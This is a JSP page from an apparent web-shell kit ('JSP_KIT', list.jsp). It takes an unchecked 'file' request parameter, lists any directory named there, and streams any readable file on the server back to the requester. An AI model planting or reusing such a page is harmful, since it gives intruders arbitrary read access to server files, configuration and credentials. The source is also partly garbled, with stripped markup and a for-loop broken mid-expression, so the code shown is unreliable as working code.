<%@ page import="java.util.*,java.io.*"%> <% // // JSP_KIT // // list.jsp = Directory & File View // // by: Sierra // modified: 27/06/2003 // %> <% if(request.getParameter("file")==null) { %>
<% } %> <% //read the file name. try { File f = new File(request.getParameter("file")); if(f.isDirectory()) { int i; String fname = new String("Unknown"); String fcolor = new String("Black"); %> <% out.print("Path: " + f.toString() + "

"); File flist[] = f.listFiles(); for(i=0; i" + fname.toString() + " " + "( Size: " + flist[i].length() + " bytes)
\n"); } %>
<% } else { if(f.canRead() == true) { InputStream in = new FileInputStream(f); ServletOutputStream outs = response.getOutputStream(); int left = 0; try { while((left) >= 0 ) { left = in.read(); outs.write(left); } } catch(IOException ex) {ex.printStackTrace();} outs.flush(); outs.close(); in.close(); } else { out.print("Can't Read file
"); } } } catch(Exception ex) {ex.printStackTrace();} %>